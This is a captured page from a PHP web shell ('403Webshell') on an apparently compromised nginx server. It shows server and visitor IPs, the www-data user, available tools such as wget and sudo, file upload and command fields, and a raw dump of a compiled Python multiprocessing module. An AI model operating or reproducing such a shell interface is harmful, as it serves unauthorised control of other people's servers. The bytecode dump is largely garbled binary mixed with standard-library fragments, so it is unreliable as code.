403Webshell
Server IP : 178.105.222.151  /  Your IP : 216.73.216.38
Web Server : nginx/1.28.3
System : Linux MNK 7.0.0-15-generic #15-Ubuntu SMP PREEMPT_DYNAMIC Wed Apr 22 16:06:43 UTC 2026 x86_64
User : www-data ( 33)
PHP Version : 8.5.4
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3.14/multiprocessing/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.14/multiprocessing/__pycache__/connection.cpython-314.pyc
+
��3j_����.R=Ot^RIt^RIt^RIt^RIt^RIt^RIt^RIt^RIt^RI	t	^RI
Ht^RI
HtH
t
^RIHt]P t^RIt^RIt^RIHtHtHtHtR>tRt]P8!4t^dtR	tR	.t ]!!]R
4'd
R
t] R
.,
t ]P2R8Xd
Rt] R.,
t ]3Rlt"R
t#Rt$Rt%Rt&!RR4t']'d!RR]'4t(!RR]'4t)!RR]*4t+R?Rlt,]P2R8wdR@Rlt-MR@Rlt-!RR]*4t.Rt/]P2R8Xd!RR]*4t0R t1^(t2R!t3R"t4R#t5]6!0RAm4t7]8!R$]744t9^t:^t;]:];3t<R%t=R&t>R't?RBR(R)llt@R*R+ltA!R,R-]*4tBR.tCR/tD!R0R1]+4tER2tF]P2R8Xd"R3tG]P�]P�0tJRCR4ltKM1^RILtL]!!]LR54'd]LP�tNM]LP�tNRCR6ltK]P2R8Xd5R7tPR8tQ]P�!])]P4R9tSR:tT]P�!](]S4R#R;tPR<tQ]P�!])]P4R# ]d]P2R8XdhRtEL'i;i)D�Client�ListenerN)�util)�AuthenticationError�BufferTooShort)�	reduction)�
WAIT_OBJECT_0�WAIT_ABANDONED_0�WAIT_TIMEOUT�INFINITE�win32g4@�AF_INET�AF_UNIX�AF_PIPEc�:�\P!4V,#�N��time�	monotonic)�timeouts&�1/usr/lib/python3.14/multiprocessing/connection.py�
_init_timeoutr?s���>�>��g�%�%�c�2�\P!4V8�#rr)�ts&r�_check_timeoutrBs���>�>��a��rc�8�VR8XdR#VR8Xd,\P!R\P!4R7#VR8XdOR\P
!4\
\4\P!^4P43,#\R4h)	z7
Return an arbitrary free address for the given family
r
rzsock-)�prefix�dirrz\\.\pipe\pyc-%d-%d-%szunrecognized family)�	localhost�)�tempfile�mktempr�get_temp_dir�os�getpid�next�
_mmap_counter�urandom�hex�
ValueError��familys&r�arbitrary_addressr-Is�������	�9�	����g�4�3D�3D�3F�G�G�	�9�	�(�����d�=�1�2�:�:�a�=�3D�3D�3F�G�H�	I��.�/�/rc���\PR8wdVR8Xd\RV,4h\PR8Xd4VR8Xd+\\V4'g\RV,4hR#R#R#)z<
Checks if the family is valid for the current environment.
rrzFamily %s is not recognized.rN)�sys�platformr*�hasattr�socketr+s&r�_validate_familyr3Wsf���|�|�w��6�Y�#6��7�&�@�A�A�
�|�|�w��6�Y�#6��v�v�&�&��;�f�D�E�E�'�$7�rc��\V4\8XdR#\V4\JdVPR4'dR#\V4\Jg\P
!V4'dR#\
RV,4h)zQ
Return the types of the address

This can be 'AF_INET', 'AF_UNIX', or 'AF_PIPE'
r
z\\rrzaddress type of %r unrecognized)�type�tuple�str�
startswithr�is_abstract_socket_namespacer*)�addresss&r�address_typer;csb���G�}����	
�g��#�	�'�"4�"4�V�"<�"<��	
�g��#�	��!B�!B�7�!K�!K���:�W�D�E�Erc��a�]tRt^vtoRtRRltRtRtRtRt	Rt
]R4t]R	4t
]R
4tRtRtR
tRRltRtRRltRRltRtRRltRtRtRtVtR#)�_ConnectionBaseNc��VP4pV^8d\R4hV'gV'g\R4hWnW nW0nR#)r zinvalid handlez6at least one of `readable` and `writable` must be TrueN)�	__index__r*�_handle�	_readable�	_writable)�self�handle�readable�writables&&&&r�__init__�_ConnectionBase.__init__ysI���!�!�#���A�:��-�.�.����H�J�
J���!��!�rc�F�VPeVP4R#R#r�r@�_close�rCs&r�__del__�_ConnectionBase.__del__�s���<�<�#��K�K�M�$rc�8�VPf\R4hR#)N�handle is closed)r@�OSErrorrLs&r�
_check_closed�_ConnectionBase._check_closed�s���<�<���,�-�-� rc�@�VP'g\R4hR#)zconnection is write-onlyN)rArQrLs&r�_check_readable�_ConnectionBase._check_readable�s���~�~�~��4�5�5�rc�@�VP'g\R4hR#)zconnection is read-onlyN)rBrQrLs&r�_check_writable�_ConnectionBase._check_writable�s���~�~�~��3�4�4�rc�l�VP'd	RVnMVP4\R4h)Fzbad message length)rBrA�closerQrLs&r�_bad_message_length�#_ConnectionBase._bad_message_length�s'���>�>�>�"�D�N��J�J�L��*�+�+rc��VPRJ#)z True if the connection is closedN�r@rLs&r�closed�_ConnectionBase.closed�s���|�|�t�#�#rc��VP#)z"True if the connection is readable)rArLs&rrE�_ConnectionBase.readable�����~�~�rc��VP#)z"True if the connection is writable)rBrLs&rrF�_ConnectionBase.writable�rdrc�:�VP4VP#)z+File descriptor or handle of the connection)rRr@rLs&r�fileno�_ConnectionBase.fileno�s�������|�|�rc�n�VPeVP4RVnR#R# RTni;i)zClose the connectionNrJrLs&rr[�_ConnectionBase.close�s1���<�<�#�
$����
�#���	$�� $���s�+�	4c��RVnR#)z7Stop managing the underlying file descriptor or handle.Nr_rLs&r�_detach�_ConnectionBase._detach�s	����rc��VP4VP4\V4pVP^8�dVP	R4pVP
pV^8d\
R4hWR8d\
R4hVf
WR,
pM*V^8d\
R4hW#,V8�d\
R4hVPWBW#,4R#)z,Send the bytes data from a bytes-like object�Bzoffset is negativezbuffer length < offsetNzsize is negativezbuffer length < offset + size)rRrX�
memoryview�itemsize�cast�nbytesr*�_send_bytes)rC�buf�offset�size�m�ns&&&&  r�
send_bytes�_ConnectionBase.send_bytes�s������������s�O���:�:��>����s��A�
�H�H���A�:��1�2�2��:��5�6�6��<��:�D�
�A�X��/�0�0�
�]�Q�
��<�=�=�����&�-�0�1rc��VP4VP4VP\P	V44R#)zSend a (picklable) objectN)rRrXru�_ForkingPickler�dumps�rC�objs&&r�send�_ConnectionBase.send�s3��������������.�.�s�3�4rc���VP4VP4VeV^8d\R4hVPV4pVfVP	4VP4#)z'
Receive bytes data as a bytes object.
znegative maxlength)rRrUr*�_recv_bytesr\�getvalue)rC�	maxlengthrvs&& r�
recv_bytes�_ConnectionBase.recv_bytes�sa��	
��������� �Y��]��1�2�2����y�)���;��$�$�&��|�|�~�rc�(�VP4VP4\V4;_uu_4pVPpV\	V4,pV^8d\R4hW%8�d\R4hVP
4pVP4pWRV,8d\VP44hVP^4VPW2V,W',V,4VuuRRR4# +'giR#;i)zY
Receive bytes data into a writeable bytes-like object.
Return the number of bytes read.
znegative offsetzoffset too largeN)rRrUrqrr�lenr*r��tellrr��seek�readinto)rCrvrwryrr�bytesize�resultrxs&&&     r�recv_bytes_into�_ConnectionBase.recv_bytes_into�s���
	
��������
��_�_���z�z�H��#�a�&�(�H���z� �!2�3�3��"� �!3�4�4��%�%�'�F��;�;�=�D��4�-�'�$�V�_�_�%6�7�7��K�K��N��O�O�A��0�%�}��9�;�
<��!�_�_�_�s�CD�D	c��VP4VP4VP4p\P	VP44#)zReceive a (picklable) object)rRrUr�r~�loads�	getbuffer)rCrvs& r�recv�_ConnectionBase.recv�s?������������� ���$�$�S�]�]�_�5�5rc�d�VP4VP4VPV4#)z/Whether there is any input available to be read)rRrU�_poll�rCrs&&r�poll�_ConnectionBase.polls)�����������z�z�'�"�"rc��V#r�rLs&r�	__enter__�_ConnectionBase.__enter__
����rc�&�VP4R#r�r[�rC�exc_type�	exc_value�exc_tbs&&&&r�__exit__�_ConnectionBase.__exit__
����
�
�r)r@rArB)TT�r Nr�r )g)�__name__�
__module__�__qualname__�__firstlineno__r@rGrMrRrUrXr\�propertyr`rErFrhr[rmr{r�r�r�r�r�r�r��__static_attributes__�__classdictcell__��
__classdict__s@rr=r=vs������G�	"��.�6�5�,��$��$����������
$��2�(5���26�#���rr=c�ha�]tRtRtoRtRtRt]P3Rlt	Rt
RRltRtR	t
R
tVtR#)�PipeConnectioniz�
Connection class based on a Windows named pipe.
Overlapped I/O is used, so the handles must have been created
with FILE_FLAG_OVERLAPPED.
FNc�j�VPpVeVP4V!VP4R#r)�_send_ov�cancelr@)rC�_CloseHandle�ovs&& rrK�PipeConnection._closes%�����B��~��	�	������&rc�T�VPe\R4h\P!VPVRR7wr#W nV\P
8Xd5\P!VP.R\4pV\8XgQhRTnTPR4wrST\P8Xd\\PR4hT^8XgQhT\!T48XgQhR# TP4h;i RTnTPR4wrSi;i)Nz/concurrent send_bytes() calls are not supportedT��
overlappedFrP)r�r*�_winapi�	WriteFiler@�ERROR_IO_PENDING�WaitForMultipleObjects�eventrrr��GetOverlappedResult�ERROR_OPERATION_ABORTEDrQ�errno�EPIPEr�)rCrvr��err�waitres�nwrittens&&    rru�PipeConnection._send_bytes#s���}�}�(� �"5�6�6��'�'����c�d�K�G�B��M�

=��'�2�2�2�%�<�<����
�E�8�5�G�"�m�3�3�3�
!%��
� "� 6� 6�t� <�
���g�5�5�5��e�k�k�+=�>�>��!�8�O�8��s�3�x�'�'�'��
��	�	���� $��
� "� 6� 6�t� <�
��#�s�A	C5�5D�D�D'c�B�VP'dRVn\P!4#Vf^�M\V^�4p\P
!VPVRR7wr4\4pTpV\P8Xd5\P!VP.R\4pV\8XgQhTPR4wr�T^8Xd8\P!4p	T	PTP!44T	pM&T\P"8XdTP%Y14pYeJdT#\/R4h TP4h;i TPR4wr�T^8Xd8\P!4p	T	PTP!44T	piT\P"8XdTP%Y14pii;i YeJdhL�;i \&d,p
T
P(\P*8Xd\,hhRp
?
ii;i)FNTr�z.shouldn't get here; expected KeyboardInterrupt)�_got_empty_message�io�BytesIO�minr��ReadFiler@�objectr�r�r�rrr�r��writer��ERROR_MORE_DATA�_get_more_datarQ�winerror�ERROR_BROKEN_PIPE�EOFError�RuntimeError)rC�maxsize�bsizer�r��sentinel�return_valuer��nread�f�es&&         rr��PipeConnection._recv_bytes=s����&�&�&�*/��'��z�z�|�#�&���C���4E��!�%�.�.�t�|�|�U�;?�A�G�B� &�x�H�#+�L�"�P�"�g�&>�&>�>�*1�*H�*H�%'�X�X�J��x�+A��'.�-�'?� ?�'?�
*,�)?�)?��)E�J�E�"�a�x�$&�J�J�L�� !������� 7�/0��!$��(?�(?�!?�/3�/B�/B�2�/O��
$�3�+�+�4��O�P�P��-"��I�I�K�!��)+�)?�)?��)E�J�E�"�a�x�$&�J�J�L�� !������� 7�/0��!$��(?�(?�!?�/3�/B�/B�2�/O��"@��"�'�3�!�4��
���z�z�W�%>�%>�>�&����	�s]�1G(�5A	E�>AG�G(�&G�5G(�E�E�A:G�G�G%�#G(�(H�3&H�Hc��VP'g-\P!VP4^,^8wdR#\	\V.V44#)r T)r�r��
PeekNamedPiper@�bool�waitr�s&&rr��PipeConnection._pollgsA���'�'�'��-�-�d�l�l�;�A�>�!�C����d�V�W�-�.�.rc��VP4p\P!4pVPV4\P
!VP4^,pV^8�gQhVe(\V4V,V8�dVP4\P!VPVRR7wrVPR4wrvV^8XgQhWu8XgQhVPVP44V#)�Tr�)r�r�r�r�r�r�r@r�r\r�r�)rCr�r�rvr��leftr��rbytess&&&     rr��PipeConnection._get_more_datams����,�,�.�C��
�
��A�
�G�G�C�L��(�(����6�q�9�D��!�8�O�8��"�s�3�x�$���'@��(�(�*��&�&�t�|�|�T�d�K�G�B��0�0��6�K�F��!�8�O�8��>�!�>�
�G�G�B�L�L�N�#��Hr)r�r�r)r�r�r�r��__doc__r�r�r��CloseHandlerKrur�r�r�r�r�r�s@rr�r�s@����	�
#����&-�&9�&9�	'�	(�4(	Q�T	/�
	�
	rr�c�a�]tRtRtoRt]'d*]P3Rlt]Pt
]PtM(]
P3Rlt]
Pt
]
P t]
3Rlt]3RltRtRR	ltR
tRtVtR#)
�
Connectioni}zc
Connection class based on an arbitrary file descriptor (Unix only), or
a socket handle (Windows).
c�*�V!VP4R#rr_�rCrKs&&rrK�Connection._close�����4�<�<� rc�*�V!VP4R#rr_r�s&&rrKr��r�rc�n�\V4pV!VPV4pW4,pV^8XdR#WRpK+)TN)r�r@)rCrvr��	remainingrzs&&&  r�_send�Connection._send�s8����H�	���d�l�l�C�(�A��N�I��A�~���b�'�Crc��\P!4pVPpTpV^8�d]\\V4pV!WF4p\V4pV^8XdWQ8Xd\h\R4hVPV4WX,pKcV#)r zgot end of file during message)	r�r�r@r��BUFSIZEr�r�rQr�)	rCrx�readrvrDr��to_read�chunkrzs	&&&      r�_recv�Connection._recv�sw���j�j�l�������	��!�m��'�9�-�G���)�E��E�
�A��A�v��$�"�N�!�"B�C�C��I�I�e���N�I��
rc��\V4pVR8�dd\P!RR4p\P!RV4pVPV4VPV4VPV4R#\P!RV4pVR8�d%VPV4VPV4R#VPWA,4R#)i����!i�!Qi@N���)r��struct�packr�)rCrvrz�
pre_header�headers&&   rru�Connection._send_bytes�s�����H���z�>����T�2�.�J��[�[��q�)�F��J�J�z�"��J�J�v���J�J�s�O��[�[��q�)�F��5�y��
�
�6�"��
�
�3���
�
�6�<�(rNc�*�VP^4p\P!RVP44wpVR8Xd9VP^4p\P!RVP44wpVe	W18�dR#VPV4#)�rrNr)rr�unpackr�)rCr�rvrxs&&  rr��Connection._recv_bytes�so���j�j��m���
�
�d�C�L�L�N�3����2�:��*�*�Q�-�C��M�M�$�����7�E�D���4�>���z�z�$��rc�2�\V.V4p\V4#r)r�r�)rCr�rs&& rr��Connection._poll�s���$���!���A�w�rr�r)r�r�r�r�r�r��_multiprocessing�closesocketrKr��_writer��_readr$r[r�r�r�rrur�r�r�r�r�s@rr�r�}sw�����
� 0� <� <�	!�!�&�&�� �%�%�� "���	!���������%�� %��")�. ��rr�c�fa�]tRtRtoRtRRltRtRt]R4t	]R4t
R	tR
tRt
VtR#)
ri�z�
Returns a listener object.

This is a wrapper for a bound socket which is 'listening' for
connections, or for a Windows named pipe.
Nc�t�T;'g$T;'d\V4;'g\p\V4Ve"\V\4'g\R4hVR8XdSV'd\
W4VnM_\P!4Fp\V4p\
W4VnM)	M&T;'g\V4p\#WV4VnW@nR# \dHpT\8�dhTP\P\P 39dhRp?K�Rp?ii;i)N�authkey should be a byte stringr)r;�default_familyr3�
isinstance�bytes�	TypeError�PipeListener�	_listener�	itertools�countr-rQ�_MAX_PIPE_ATTEMPTSr�r��ERROR_PIPE_BUSY�ERROR_ACCESS_DENIED�SocketListener�_authkey)rCr:r,�backlog�authkey�attemptsr�s&&&&&  rrG�Listener.__init__�s���#�#�G�=�=��W�(=�#�#�"�	��� ���z�'�5�'A�'A��=�>�>��Y���!-�g�!?��� )��� 1�H�/��7�G�"�)5�g�)G����	!2��:�:�!2�6�!:�G�+�G�W�E�D�N��
��#�"�#�'9�9�!��:�:�g�.E�.E�.5�.I�.I�.K�K�!�K��"�s�"C%�%D7�0<D2�2D7c���VPf\R4hVPP4pVPe+\	WP4\WP4V#)zb
Accept a connection on the bound socket or named pipe of `self`.

Returns a `Connection` object.
zlistener is closed)rrQ�acceptr%�deliver_challenge�answer_challenge)rC�cs& rr+�Listener.accept�sS���>�>�!��.�/�/��N�N�!�!�#���=�=�$��a���/��Q�
�
�.��rc�X�VPpVeRVnVP4R#R#)z1
Close the bound socket or named pipe of `self`.
N)rr[)rC�listeners& rr[�Listener.closes)���>�>����!�D�N��N�N�� rc�.�VPP#r)r�_addressrLs&rr:�Listener.address
s���~�~�&�&�&rc�.�VPP#r)r�_last_acceptedrLs&r�
last_accepted�Listener.last_accepteds���~�~�,�,�,rc��V#rr�rLs&rr��Listener.__enter__r�rc�&�VP4R#rr�r�s&&&&rr��Listener.__exit__r�r)r%r)NNr�N)r�r�r�r�r�rGr+r[r�r:r8r�r�r�r�r�s@rrr�sP����� �8
���'��'��-��-���rc��T;'g\V4p\V4VR8Xd
\V4pM\V4pVe"\	V\
4'g\
R4hVe\W24\W24V#)z5
Returns a connection to the address of a `Listener`
rr)	r;r3�
PipeClient�SocketClientrrrr-r,)r:r,r'r.s&&& rrrss���
,�
,�|�G�,�F��V��
����w�����!����:�g�u�#=�#=��9�:�:�����$��!�%��Hrc�V�V'do\P!4wrVPR4VPR4\VP	44p\VP	44pW43#\
P!4wrV\VRR7p\VRR7pW43#)�<
Returns pair of connection objects at either end of a pipe
TF�rF�rE)r2�
socketpair�setblockingr��detachr$�pipe)�duplex�s1�s2�c1�c2�fd1�fd2s&      r�PiperP3s�����&�&�(�F�B��N�N�4� ��N�N�4� ��B�I�I�K�(�B��B�I�I�K�(�B��v�
�	�w�w�y�H�C��C�%�0�B��C�%�0�B��v�
rc��V'dB\Pp\P\P,p\\rCM'\P
p\Pp^\rC\P!4F�p\R4p\P!Wa\P,\P,\P\P,\P,^W4\P\P 4pM	\P,!XV^\P \P.\P\P 4p	\P0!V	\PRR4\P2!XRR7p
V
P5R4wr�V^8XgQh\7WpR7p
\7W�R7pW�3# \"dIpT\$8�dhTP&\P(\P*39dhRp?EK�Rp?ii;i)rBrNTr�rCrD)r��PIPE_ACCESS_DUPLEX�GENERIC_READ�
GENERIC_WRITEr��PIPE_ACCESS_INBOUNDrr r-�CreateNamedPipe�FILE_FLAG_OVERLAPPED�FILE_FLAG_FIRST_PIPE_INSTANCE�PIPE_TYPE_MESSAGE�PIPE_READMODE_MESSAGE�	PIPE_WAIT�NMPWAIT_WAIT_FOREVER�NULLrQr!r�r"r#�
CreateFile�
OPEN_EXISTING�SetNamedPipeHandleState�ConnectNamedPiper�r�)rI�openmode�access�obsize�ibsizer(r:�h1r��h2r��_r�rLrMs&              rrPrPFs�����1�1�H��)�)�G�,A�,A�A�F�$�g�F��2�2�H��*�*�F���F�!���)�H�'�	�2�G�
��,�,���(D�(D�D��9�9�:��-�-��0M�0M�M��%�%�&��v�w�'C�'C��L�L����*�&�
�
��V�Q����g�.C�.C��(�(�'�,�,���	�'�'���-�-�t�T�	��-�-�b�T�B�
��/�/��5����a�x��x�
�B�
0��
�B�
0���v�
��+�
��1�1���:�:�g�&=�&=�&-�&A�&A�&C�C��C��
�s�BG<�<I�<I
�
Ic�:a�]tRtRtoRtRRltRtRtRtVt	R#)	r$i{zG
Representation of a socket which is bound to an address and listening
c��\P!\\V44Vn\PR8Xd:VPP\P\P^4VPPR4VPPV4VPPV4VPP4VnY nRTnTR8XdM\"P$!T4'g1\"P&!T\P(T3^R7TnR#RTnR# \dTPP4hi;i)�posixTNr��args�exitpriority)r2�getattr�_socketr$�name�
setsockopt�
SOL_SOCKET�SO_REUSEADDRrF�bind�listen�getsocknamer4rQr[�_familyr7rr9�Finalize�unlink�_unlink)rCr:r,r&s&&&&rrG�SocketListener.__init__s
���}�}�W�V�V�%<�=���	��w�w�'�!����'�'��(9�(9�(.�(;�(;�Q�@��L�L�$�$�T�*��L�L���g�&��L�L����(� �L�L�4�4�6�D�M���"����Y��t�'H�'H��'Q�'Q��=�=��b�i�i�w�j�q��D�L� �D�L���	��L�L��� ��	�s�B>E�'E9c��VPP4wqnVPR4\	VP44#�T)rpr+r7rFr�rG�rC�ss& rr+�SocketListener.accept�s7��!%���!4�!4�!6����	�
�
�d���!�(�(�*�%�%rc���VPP4VPpVeRVnV!4R#R# TPpTeRTnT!4ii;ir)rpr[r{)rCrzs& rr[�SocketListener.close�s[��	��L�L��� ��\�\�F��!�#�����"���\�\�F��!�#�����"�s	�>�!A)r4rxr7rpr{N)r�)
r�r�r�r�r�rGr+r[r�r�r�s@rr$r${s����� �2&�
�rr$c�$�\V4p\P!\\V44;_uu_4pVPR4VP	V4\VP
44uuRRR4# +'giR#;i)zG
Return a connection object connected to the socket given by `address`
TN)r;r2rorF�connectr�rG)r:r,r�s&  rr@r@�s[���'�
"�F�	������/�	1�	1�Q�	�
�
�d��	�	�	�'���!�(�(�*�%�
2�	1�	1�	1�s�;A>�>B	c�Na�]tRtRtoRtR	RltR
RltRt]R4t	Rt
VtR#)ri�z 
Representation of a named pipe
Nc��WnVPRR7.VnRVn\P
!RVP4\P!V\PVPVP3^R7Vn	R#)T)�firstNz listener created with address=%rrl)
r4�_new_handle�
_handle_queuer7r�	sub_debugryr�_finalize_pipe_listenerr[)rCr:r&s&&&rrG�PipeListener.__init__�sj��#�M�"&�"2�"2��"2�">�!?�D��"&�D���N�N�=�t�}�}�M�����l�:�:��(�(�$�-�-�8�q��D�Jrc
��\P\P,pV'dV\P,p\P!VP
V\P\P,\P,\P\\\P\P4#r)
r�rRrWrXrVr4rYrZr[�PIPE_UNLIMITED_INSTANCESr�r\r])rCr��flagss&& rr��PipeListener._new_handle�s����.�.��1M�1M�M�E����>�>�>���*�*��
�
�u��)�)�G�,I�,I�I��!�!�"��0�0�'�7��,�,�g�l�l��
rc�h�VPPVP44VPP^4p\P
!VRR7p\P!VP.R\4pTPR4wrET^8XgQh\T4# TP4\P!T4h;i TPR4wrET^8XgQhi;i \d+pTP\P8wdhRp?L�Rp?ii;i)r Tr�FN)r��appendr��popr�rar�r�rr�r�r�rQr��
ERROR_NO_DATAr�)rCrDr��resrhr�r�s&      rr+�PipeListener.accept�s�����%�%�d�&6�&6�&8�9��'�'�+�+�A�.�F�
$��-�-�f��F��	$�!�8�8����
�E�8�5�C� �3�3�D�9�F�A��!�8�O�8�!�&�)�)����I�I�K��'�'��/����3�3�D�9�F�A��!�8�O�8���
��:�:��!6�!6�6��7��
�s0�C<�'B/�/)C�C�C9�<D1� D,�,D1c�r�\P!RV4VFp\P!V4K	R#)z closing listener with address=%rN)rr�r�r�)�queuer:rDs&& rr��$PipeListener._finalize_pipe_listener�s)���N�N�=�w�G����#�#�F�+� r)r4r�r7r[r)F)r�r�r�r�r�rGr�r+�staticmethodr�r�r�r�s@rrr�s-����	�		�
	�	*�.
�	,�
�	,rrc	�R�\4p\P!VR4\P!V\P\P
,^\P\P\P\P4p\P!T\PRR4\!T4# \dNpTP\P\P39g\T4'dhRp?EKRp?ii;i)zE
Return a connection object connected to the pipe given by `address`
��N)rr��
WaitNamedPiper^rSrTr]r_rWrQr��ERROR_SEM_TIMEOUTr"rr`rZr�)r:r�hr�s&   rr?r?�s���
�O���
��%�%�g�t�4��&�&��W�1�1�G�4I�4I�I��w�|�|�W�%:�%:��0�0�'�,�,����	�'�'�
�w�,�,�d�D�	��a� � ���
��:�:�g�&?�&?�&-�&=�&=�&?�?�BP�QR�BS�BS��CT��
�s�BC�D&�AD!�!D&s#CHALLENGE#s	#WELCOME#s	#FAILURE#c#�8"�TFp\V4x�K	R#5ir)r�)�.0rhs& r�	<genexpr>r�ms���7�&6��c�!�f�f�&6�s�c�$�\V4\9dRV3#VPR4'dTVPR^\^,4;p^8�d/V^VpV\
9dW^,RpVP
R4V3#\RV:24h)z�Returns a digest name and the payload for a response hash.

If a legacy protocol is detected based on the message length
or contents the digest name returned will be empty to indicate
legacy mode where MD5 and no digest prefix should be sent.
��{�}N�asciizRunsupported message length, missing digest prefix, or unsupported digest: message=)r��_LEGACY_LENGTHSr8�find�_MAX_DIGEST_LEN�_ALLOWED_DIGESTS�decoder)�message�curly�digest�payloads&   r�_get_digest_name_and_payloadr�xs����7�|��&�
�7�{�����4� � ��,�,�t�Q���(9�:�	:��a�?���5�!���%�%��A�g�h�'�G��=�=��)�7�2�2�
�
/�&-�Z�
1�2�2rc��^RIp\V4^,pV'g"VPWR4P4#VPWV4P4pRVPR4V3,# \dRpLIi;i)aoCreate a MAC based on authkey and message

The MAC algorithm defaults to HMAC-MD5, unless MD5 is not available or
the message has a '{digest_name}' prefix. For legacy HMAC-MD5, the response
is the raw MAC, otherwise the response is prefixed with '{digest_name}',
e.g. b'{sha256}abcdefg...'

Note: The MAC protects the entire message including the digest_name prefix.
N�md5�sha256�{%s}%sr�)�hmacr��newr�r*�encode)r'r�r��digest_name�responses&&   r�_create_responser��s����.�w�7��:�K��	#��8�8�G�e�4�;�;�=�=��x�x��+�6�=�=�?�H���*�*�7�3�X�>�>�>���	#�#�K�		#�s�A:�:
B
�	B
c
��^RIp\V4wrET;'gRpVPWV4P4p\
T4\
T48wd(\RT:R\
T4R\
T424hTPYe4'g\R4hR# \d\RT:R24hi;i)	aHVerify MAC challenge

If our message did not include a digest_name prefix, the client is allowed
to select a stronger digest_name from _ALLOWED_DIGESTS.

In case our message is prefixed, a client cannot downgrade to a weaker
algorithm, because the MAC is calculated over the entire message
including the '{digest_name}' prefix.
Nr�zresponse_digest=z unsupportedz	expected z of length z got zdigest received was wrong)r�r�r�r�r*rr��compare_digest)r'r�r�r��response_digest�response_mac�expecteds&&&    r�_verify_challenger��s����$@��$J�!�O�%�.�.��O�E��8�8�G�o�>�E�E�G���8�}��L�)�)�!��O�.�k�#�h�-��I��<�(�)�+�,�	,����x�6�6�!�"=�>�>�7��
�E�!�%5�_�$6�l�"C�D�D�E�s� B#�#B?c�$�V^8�dQhR\/#��r'�r)�formats"r�__annotate__r��s��(�(�5�(rc���\V\4'g$\RP\	V444h\
\8�gQR4h\P!\
4pRVPR4V3,pVP\V,4VPR4p\WV4VP\4R# \dTP\ 4hi;i)� Authkey must be bytes, not {0!s}zprotocol constraintr�r��N)rrr*r�r5�MESSAGE_LENGTH�_MD5ONLY_MESSAGE_LENGTHr$r(r�r{�
_CHALLENGEr�r��_WELCOMEr�_FAILURE)�
connectionr'r�r�r�s&&&  rr,r,�s����g�u�%�%��.�5�5�d�7�m�D�F�	F��3�3�J�5J�J�3��j�j��(�G��;�-�-�g�6��@�@�G����*�w�.�/��$�$�S�)�H�(��'�H�5�
	���h�'��	�����h�'�
��s�2C�"C7c�$�V^8�dQhR\/#r�r�)r�s"rr�r��s��>�>�%�>rc���\V\4'g$\RP\	V444hVPR4pVP
\4'g\RV:24hV\\4Rp\V4\8d\R\V4R24h\W4pVPV4VPR4pV\8wd\R4hR#)r�r�z,Protocol error, expected challenge: message=Nzchallenge too short: z byteszdigest sent was rejected)rrr*r�r5r�r8r�rr�r�r�r{r�)r�r'r�r�r�s&&   rr-r-�s����g�u�%�%��.�5�5�d�7�m�D�F�	F��#�#�C�(�G����j�)�)�!�?�w�j�A�C�	C��c�*�o�&�'�G�
�7�|�-�-�!�$9�#�g�,��v�"N�O�O�
�g�
/�F����&�!��$�$�S�)�H��8��!�"<�=�=�rc�2a�]tRtRtoRtRtRtRtVtR#)�ConnectionWrapperi�c�j�WnW nW0nRFp\W4p\	WV4K	R#)rhN)rhr[r�r�r{)�_conn�_dumps�_loadsro�setattr)rC�connrr��attrr�s&&&&  rrG�ConnectionWrapper.__init__�s0���
�����K�D��$�%�C��D��$�Lrc�^�VPV4pVPPV4R#r)r�r�r{)rCr�r�s&& rr��ConnectionWrapper.send�s"���K�K�����
�
���a� rc�X�VPP4pVPV4#r)r�r�r�rs& rr��ConnectionWrapper.recv�s"���J�J�!�!�#���{�{�1�~�r)r�r�r�N)	r�r�r�r�rGr�r�r�r�r�s@rr�r��s����%�!��rr�c�T�\PV3RRR^4PR4#)N�utf-8)�	xmlrpclibrr�)r�s&r�
_xml_dumpsr�s&���?�?�C�6�4��t�Q�7�>�>�w�G�Grc�V�\PVPR44wwrV#)r�)r�r�r�)r�r��methods&  r�
_xml_loadsr�s"���_�_�Q�X�X�g�%6�7�N�F�S��Jrc�&a�]tRtRtoRtRtVtR#)�XmlListeneric�b�^RIHs\P	V4p\V\\4#r�)�
xmlrpc.client�clientr�rr+r�r�r�r�s& rr+�XmlListener.accepts"��)��o�o�d�#�� ��j�*�=�=rr�N)r�r�r�r�r+r�r�r�s@rr�r�s����>�>rr�c�J�^RIHs\\	V/VB\
\4#r�)r�r�r�r�rr�r�)rm�kwdss*,r�	XmlClientr�s��%��V�T�2�T�2�J�
�K�Krc�Ja�\V4o.p\S4^<8�d�\P!SRV4pTPT3RlT44T'dB\
S4UUu.uF)wrEYC^,T,u;8�d
T9gK#MK'TNK+	uppo^pS'd�\S4^<8�d
SR,MSp\P!VRV4pV\8XdV#\Tu;8:d\\S4,8dMMV\,pMC\Tu;8:d\\S4,8dMMV\,pM\R4hVPSV,4SV^,Ro^pK�V# \d.u#i;iuuppi)�<Fc3�6<"�TFpSV,x�K	R#5irr�)r��i�Ls& �rr��#_exhaustive_wait.<locals>.<genexpr>%s����+�s�!��1���s���:Nr�NzShould not get hereN)
�listr�r��BatchedWaitForMultipleObjects�TimeoutError�extend�	enumerater�r
rr	r�r�)�handlesr�readyr�r�r��short_Lr�s&&     @r�_exhaustive_waitrsX���
��M�����q�6�B�;�
��;�;�A�u�g�N��
�L�L�+�s�+�+��#,�Q�<�M�<�4�1�1�1�v��z�3L��3L�Q�3L�Q�<�M���G�� #�A����a��f��G��0�0��%��I�C��l�"�����#�>�
��A��(>�>��}�$��!�S�D�+;�c�!�f�+D�D��'�'��"�#8�9�9��L�L��3�� ��#�a�%�&�	�A��G����) �
��	�
��Ns#�F�) F�F�F�
F�Fc�(a�Vf\pM#V^8d^pM\VR,R,4p\V4p/o.p\4p\4pVF�p\	VR4p\
P!V!4^R4wrxV\
P8Xd#VPV4VSVP&KgV'dW\P!4R,R
8�d6VPR4wr�V'g\!VR4'dRVnVP%V4^pK�	\+SP-4V4pVFpVP/4K	VFvpVPR4wr�V\
P08wgK.SVP,pVP%V4V^8XgK[\!VR4'gKoRVnKx	TP3T3R	lT44TUu.uF
qUT9gKTNK	up# \d%p	RT	Pr�T\9dhRp	?	EL�Rp	?	ii;i \dp	T	PpRp	?	ELkRp	?	ii;i \&dTSTP)4&EK9i;i \d$p	T	PpT\9dhRp	?	EL>Rp	?	ii;i TFpTP/4K	TF�pTPR4wr�M0 \d#p	T	PpT\9dhRp	?	MRp	?	ii;iT\
